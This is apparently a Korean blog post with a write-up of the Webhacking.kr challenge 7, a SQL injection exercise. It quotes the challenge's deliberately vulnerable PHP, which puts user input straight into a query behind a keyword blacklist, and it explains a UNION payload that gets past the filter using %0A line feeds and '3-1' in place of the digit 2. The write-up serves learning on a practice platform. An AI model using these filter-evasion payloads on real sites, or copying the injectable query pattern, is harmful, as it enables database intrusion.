zj3t

email: euntaejang@gmail.com

Latest Posts

Webhacking.kr 7 -SQLi

By 오후 8:10


  1. 7번 문제는 생각보다 간단했는데 아직은 미숙해서 필터링 문제가 나오면 해매게 됩니다.

  2. 그래서 포스팅을 해보게 되었는데요. 

  3. <html>
  4. <head>
  5. <title>Challenge 7</title>
  6. </head>
  7. <body>
  8. <!--
  9. db에는 val=2가 존재하지 않습니다.

  10. union을 이용하세요
  11. -->
  12. <?
  13. $answer "????";

  14. $go=$_GET[val];

  15. if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

  16. $ck=$go;

  17. $ck=str_replace("*","",$ck);
  18. $ck=str_replace("/","",$ck);


  19. echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


  20. if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

  21. if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

  22. $rand=rand(1,5);

  23. if($rand==1)
  24. {
  25. $result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
  26. }

  27. if($rand==2)
  28. {
  29. $result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
  30. }

  31. if($rand==3)
  32. {
  33. $result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
  34. }

  35. if($rand==4)
  36. {
  37. $result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
  38. }

  39. if($rand==5)
  40. {
  41. $result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
  42. }

  43. $data=mysql_fetch_array($result);
  44. if(!$data[0]) { echo("query error"); exit(); }
  45. if($data[0]!=&& $data[0]!=2) { exit(); }


  46. if($data[0]==1)
  47. {
  48. echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
  49. alert('Access_Denied!')><p>");
  50. echo("<!-- admin mode : val=2 -->");
  51. }

  52. if($data[0]==2)
  53. {
  54. echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
  55. alert('Congratulation')><p>");
  56. @solve();




  57. ?>

  58. <!--

  59. index.phps

  60. -->



  61. </body>
  62. </html>
일단 기본적으로 저는 문제에 해당되는 답을 미리 만든후에 필터링을 회피하는 편입니다.

저기서 2가 테이블에 없으니 union을 쓰라고 하는데, 사용법을 조금 찾아봤습니다.


이 블로그를 참고했었습니다.

rand(1,5) 랜덤 값에 따라 괄호의 개수가 달라지는데요. 언젠가는 1이 나오기 떄문에 1이 나올때 답을 인증할 수 있는 답만 만들었습니다.


@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!")

$result=@mysql_query("select lv from lv1 where lv=($_GET[val]) or die("nice try!");

더 쉽게 보기위해 저렇게 바꾸도록 하겠습니다.

테이블에는 2가 없기 때문에 다른 수를 넣어야하는데 제가 생각하기에는 0을 넣으면 0과 내가 union으로 넣어줄 2때문에 0과 2로 data[0]에서, 필터링에 걸릴것 같고
.....if(!$data[0]) { echo("query error"); exit(); }

1을 넣어주면 data[0]이 1이 될 것같고.... 그래서 그냥 3을 넣어주기로 했습니다.

3) union select (2

이렇게 넣어준다면 
$result=@mysql_query("select lv from lv1 where lv=(3) union select (2)") or die("nice try!");

이렇게 될 것입니다. 그럼 union은 서로 합쳐주는 역할을 하기 떄문에 넣어준 2가 생기게 됩니다. 그럼 인증이 될 것이라고 생각했습니다.

하지만 spacebar와 2가 필터링이 되어있었습니다.

그렇다면, Spacebar는 %0A인 Linefeed로 대체하고, 2는 3-1로 우회하겠습니다. 사실 2를 어떻게 대체해야할지 너무 오래걸렸습니다. 간단한게 그냥 마이너스를 해주면 되더라고요.

그렇다면 3) union select (2   ==>> 3)%0Aunion%0Aselect%0A(3-1

이렇게 필터링을 우회할 수가 있었습니다.



You Might Also Like

0 개의 댓글